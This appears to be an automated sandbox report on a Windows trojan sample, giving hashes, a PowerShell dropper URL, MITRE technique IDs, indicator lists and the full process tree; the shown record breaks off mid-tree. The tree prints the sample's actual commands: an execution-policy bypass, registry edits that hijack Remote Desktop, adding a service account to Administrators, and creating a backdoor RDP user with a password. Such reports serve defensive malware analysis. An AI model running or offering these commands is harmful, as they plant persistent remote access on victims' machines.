4a6a29e358327ac53ec209cfa4e32d73286413bdeaa2da4c80b8109b7906de5c

Analysis

max time kernel
122s
max time network
135s
platform
windows10_x64
resource
win10-en-20211104
submitted
06/12/2021, 04:33

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General

Target
SecuriteInfo.com.Trojan.GenericKD.38168840.9615.25220.exe
Size 4.6MB
Sample211206-e6nvrsdcgr
SHA256 4a6a29e358327ac53ec209cfa4e32d73286413bdeaa2da4c80b8109b7906de5c
MD5 7faddf1721f8f471bcbbd735e4032e1a
SHA1 9e1aadf3e0cd2642365599236e2dd9eaf1ab9aa9
SHA512 cf55867f2995be8ae4c6083bd9d1972630f4ab2435f65918ca9510d356c64a3b043fdc90d0ccc4c03c0144bcbd70c8bf01ede271c9b0663bd2ae9f8c0e7ccc53
MD5 SHA1 SHA512

Score

10^/10

persistence upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
27	1476	powershell.exe
29	1476	powershell.exe
30	1476	powershell.exe
32	1476	powershell.exe
34	1476	powershell.exe
36	1476	powershell.exe
40	1476	powershell.exe
42	1476	powershell.exe
44	1476	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001abc5-375.dat	upx
behavioral2/files/0x000800000001abc6-376.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
3240	Process not Found
3240	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_5lxnydxi.1zw.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI37B7.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI37C7.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI37F8.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_3tyoruqy.dwe.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI37E7.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI3767.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1652	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	29	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	30	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	34	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4492	powershell.exe
4492	powershell.exe
4492	powershell.exe
1252	powershell.exe
1252	powershell.exe
1252	powershell.exe
1272	powershell.exe
1272	powershell.exe
1272	powershell.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
4492	powershell.exe
4492	powershell.exe
4492	powershell.exe
1476	powershell.exe
1476	powershell.exe
1476	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
628	Process not Found
628	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4492	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeIncreaseQuotaPrivilege	1252	powershell.exe
Token: SeSecurityPrivilege	1252	powershell.exe
Token: SeTakeOwnershipPrivilege	1252	powershell.exe
Token: SeLoadDriverPrivilege	1252	powershell.exe
Token: SeSystemProfilePrivilege	1252	powershell.exe
Token: SeSystemtimePrivilege	1252	powershell.exe
Token: SeProfSingleProcessPrivilege	1252	powershell.exe
Token: SeIncBasePriorityPrivilege	1252	powershell.exe
Token: SeCreatePagefilePrivilege	1252	powershell.exe
Token: SeBackupPrivilege	1252	powershell.exe
Token: SeRestorePrivilege	1252	powershell.exe
Token: SeShutdownPrivilege	1252	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeSystemEnvironmentPrivilege	1252	powershell.exe
Token: SeRemoteShutdownPrivilege	1252	powershell.exe
Token: SeUndockPrivilege	1252	powershell.exe
Token: SeManageVolumePrivilege	1252	powershell.exe
Token: 33	1252	powershell.exe
Token: 34	1252	powershell.exe
Token: 35	1252	powershell.exe
Token: 36	1252	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeIncreaseQuotaPrivilege	1272	powershell.exe
Token: SeSecurityPrivilege	1272	powershell.exe
Token: SeTakeOwnershipPrivilege	1272	powershell.exe
Token: SeLoadDriverPrivilege	1272	powershell.exe
Token: SeSystemProfilePrivilege	1272	powershell.exe
Token: SeSystemtimePrivilege	1272	powershell.exe
Token: SeProfSingleProcessPrivilege	1272	powershell.exe
Token: SeIncBasePriorityPrivilege	1272	powershell.exe
Token: SeCreatePagefilePrivilege	1272	powershell.exe
Token: SeBackupPrivilege	1272	powershell.exe
Token: SeRestorePrivilege	1272	powershell.exe
Token: SeShutdownPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeSystemEnvironmentPrivilege	1272	powershell.exe
Token: SeRemoteShutdownPrivilege	1272	powershell.exe
Token: SeUndockPrivilege	1272	powershell.exe
Token: SeManageVolumePrivilege	1272	powershell.exe
Token: 33	1272	powershell.exe
Token: 34	1272	powershell.exe
Token: 35	1272	powershell.exe
Token: 36	1272	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeIncreaseQuotaPrivilege	5104	powershell.exe
Token: SeSecurityPrivilege	5104	powershell.exe
Token: SeTakeOwnershipPrivilege	5104	powershell.exe
Token: SeLoadDriverPrivilege	5104	powershell.exe
Token: SeSystemProfilePrivilege	5104	powershell.exe
Token: SeSystemtimePrivilege	5104	powershell.exe
Token: SeProfSingleProcessPrivilege	5104	powershell.exe
Token: SeIncBasePriorityPrivilege	5104	powershell.exe
Token: SeCreatePagefilePrivilege	5104	powershell.exe
Token: SeBackupPrivilege	5104	powershell.exe
Token: SeRestorePrivilege	5104	powershell.exe
Token: SeShutdownPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeSystemEnvironmentPrivilege	5104	powershell.exe
Token: SeRemoteShutdownPrivilege	5104	powershell.exe
Token: SeUndockPrivilege	5104	powershell.exe
Token: SeManageVolumePrivilege	5104	powershell.exe
Token: 33	5104	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4208 wrote to memory of 4492	4208	SecuriteInfo.com.Trojan.GenericKD.38168840.9615.25220.exe	70
PID 4208 wrote to memory of 4492	4208	SecuriteInfo.com.Trojan.GenericKD.38168840.9615.25220.exe	70
PID 4492 wrote to memory of 3728	4492	powershell.exe	72
PID 4492 wrote to memory of 3728	4492	powershell.exe	72
PID 3728 wrote to memory of 4180	3728	csc.exe	73
PID 3728 wrote to memory of 4180	3728	csc.exe	73
PID 4492 wrote to memory of 644	4492	powershell.exe	74
PID 4492 wrote to memory of 644	4492	powershell.exe	74
PID 644 wrote to memory of 856	644	csc.exe	75
PID 644 wrote to memory of 856	644	csc.exe	75
PID 4492 wrote to memory of 1252	4492	powershell.exe	76
PID 4492 wrote to memory of 1252	4492	powershell.exe	76
PID 4492 wrote to memory of 1272	4492	powershell.exe	79
PID 4492 wrote to memory of 1272	4492	powershell.exe	79
PID 4492 wrote to memory of 5104	4492	powershell.exe	81
PID 4492 wrote to memory of 5104	4492	powershell.exe	81
PID 4492 wrote to memory of 1940	4492	powershell.exe	83
PID 4492 wrote to memory of 1940	4492	powershell.exe	83
PID 4492 wrote to memory of 1652	4492	powershell.exe	84
PID 4492 wrote to memory of 1652	4492	powershell.exe	84
PID 4492 wrote to memory of 1972	4492	powershell.exe	85
PID 4492 wrote to memory of 1972	4492	powershell.exe	85
PID 4492 wrote to memory of 3880	4492	powershell.exe	86
PID 4492 wrote to memory of 3880	4492	powershell.exe	86
PID 3880 wrote to memory of 692	3880	net.exe	87
PID 3880 wrote to memory of 692	3880	net.exe	87
PID 4492 wrote to memory of 1516	4492	powershell.exe	88
PID 4492 wrote to memory of 1516	4492	powershell.exe	88
PID 1516 wrote to memory of 3268	1516	cmd.exe	89
PID 1516 wrote to memory of 3268	1516	cmd.exe	89
PID 3268 wrote to memory of 1928	3268	cmd.exe	90
PID 3268 wrote to memory of 1928	3268	cmd.exe	90
PID 1928 wrote to memory of 3608	1928	net.exe	91
PID 1928 wrote to memory of 3608	1928	net.exe	91
PID 4492 wrote to memory of 3636	4492	powershell.exe	92
PID 4492 wrote to memory of 3636	4492	powershell.exe	92
PID 3636 wrote to memory of 3204	3636	cmd.exe	93
PID 3636 wrote to memory of 3204	3636	cmd.exe	93
PID 3204 wrote to memory of 3188	3204	cmd.exe	94
PID 3204 wrote to memory of 3188	3204	cmd.exe	94
PID 3188 wrote to memory of 3604	3188	net.exe	95
PID 3188 wrote to memory of 3604	3188	net.exe	95
PID 3820 wrote to memory of 4060	3820	net.exe	100
PID 3820 wrote to memory of 4060	3820	net.exe	100
PID 4220 wrote to memory of 744	4220	cmd.exe	103
PID 4220 wrote to memory of 744	4220	cmd.exe	103
PID 744 wrote to memory of 3192	744	net.exe	104
PID 744 wrote to memory of 3192	744	net.exe	104
PID 3696 wrote to memory of 2400	3696	cmd.exe	107
PID 3696 wrote to memory of 2400	3696	cmd.exe	107
PID 2400 wrote to memory of 4132	2400	net.exe	108
PID 2400 wrote to memory of 4132	2400	net.exe	108
PID 3284 wrote to memory of 3216	3284	cmd.exe	111
PID 3284 wrote to memory of 3216	3284	cmd.exe	111
PID 3216 wrote to memory of 900	3216	net.exe	112
PID 3216 wrote to memory of 900	3216	net.exe	112
PID 856 wrote to memory of 624	856	cmd.exe	115
PID 856 wrote to memory of 624	856	cmd.exe	115
PID 624 wrote to memory of 4268	624	net.exe	116
PID 624 wrote to memory of 4268	624	net.exe	116
PID 1104 wrote to memory of 1492	1104	cmd.exe	119
PID 1104 wrote to memory of 1492	1104	cmd.exe	119
PID 1492 wrote to memory of 1924	1492	net.exe	120
PID 1492 wrote to memory of 1924	1492	net.exe	120

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.38168840.9615.25220.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.38168840.9615.25220.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cedm1e1i\cedm1e1i.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE4E2.tmp" "c:\Users\Admin\AppData\Local\Temp\cedm1e1i\CSC4564C1F885B4436B90AF68C9FA86CB9.TMP"
      4⤵
      PID:4180
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\44j5fpag\44j5fpag.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:644
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEBC8.tmp" "c:\Users\Admin\AppData\Local\Temp\44j5fpag\CSCE5D41CBCED5F47B9B05037E09F5CD3B.TMP"
      4⤵
      PID:856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5104
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1940
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1652
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1972
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:692
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1516
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3268
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1928
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3608
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3636
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3204
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3188
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3604
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:4992
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:876

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:5040
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:4060

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 3OeRdIDd /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4220
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 3OeRdIDd /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 3OeRdIDd /add
    3⤵
    PID:3192

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3696
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:4132

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3284
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
